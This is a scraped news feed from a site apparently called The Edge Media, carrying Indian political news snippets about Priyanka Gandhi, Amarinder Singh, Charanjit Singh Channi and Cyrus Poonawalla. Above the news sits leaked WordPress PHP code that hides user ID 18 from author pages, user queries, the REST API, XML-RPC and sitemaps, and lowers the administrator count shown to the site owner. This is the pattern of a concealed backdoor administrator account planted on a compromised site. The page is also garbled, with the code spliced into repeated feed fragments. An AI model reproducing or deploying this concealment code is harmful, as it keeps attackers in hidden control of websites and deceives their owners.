add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post After being temporarily detained by UP police, Priyanka Gandhi was permitted to go to Agra appeared first on The Edge Media.
]]>
“They say I can’t go to Agra. They stop me wherever I go. Should I keep sitting in restaurants? Just because it is politically convenient for them? I want to meet them, what is the big deal?” Priyanka Gandhi questioned.
“The moment I try to visit any place other than the party office, then they (Administration) try to stop me. It is also causing inconvenience to the public,” she added.
The post After being temporarily detained by UP police, Priyanka Gandhi was permitted to go to Agra appeared first on The Edge Media.
]]>The post ‘Proximity with Amit Shah’: Amarinder Singh’s secular credentials are questioned by the Congress; the former Punjab chief minister responds. appeared first on The Edge Media.
]]>Denying Amarinder’s charge of being humiliated by the Congress, Rawat said “It appears from Captain’s recent statements that he is under some sort of pressure. He should rethink, and not help BJP directly or indirectly.”
The post ‘Proximity with Amit Shah’: Amarinder Singh’s secular credentials are questioned by the Congress; the former Punjab chief minister responds. appeared first on The Edge Media.
]]>The post Punjab Chief Minister Charanjit Singh Channi met with Prime Minister Narendra Modi in Delhi appeared first on The Edge Media.
]]>Mr. Channi is also expected to see senior Congress leaders on his visit to the capital, officials added, citing the party’s Punjab unit’s current turmoil.
The post Punjab Chief Minister Charanjit Singh Channi met with Prime Minister Narendra Modi in Delhi appeared first on The Edge Media.
]]>The post Cyrus Poonawalla’s Praise For PM Modi: “Faced Harassment 50 Years Ago, But Now…” appeared first on The Edge Media.
]]>He also stated that in the past, he had to “fall at the feet” of bureaucrats and drug regulators to obtain licenses, but that this has changed now, resulting in the speedy launch of SII’s COVID-19 vaccine, Covishield.
Mr. Poonawalla was speaking at the Lokmanyat Tilak National Award ceremony, which was hosted by the Lokmanya Tilak Trust. Sushil Kumar Shinde, a former Union minister, and prominent Congress politician praised Mr. Poonawalla’s work, saying that the SII vaccine was saving lakhs of lives.
The post Cyrus Poonawalla’s Praise For PM Modi: “Faced Harassment 50 Years Ago, But Now…” appeared first on The Edge Media.
]]>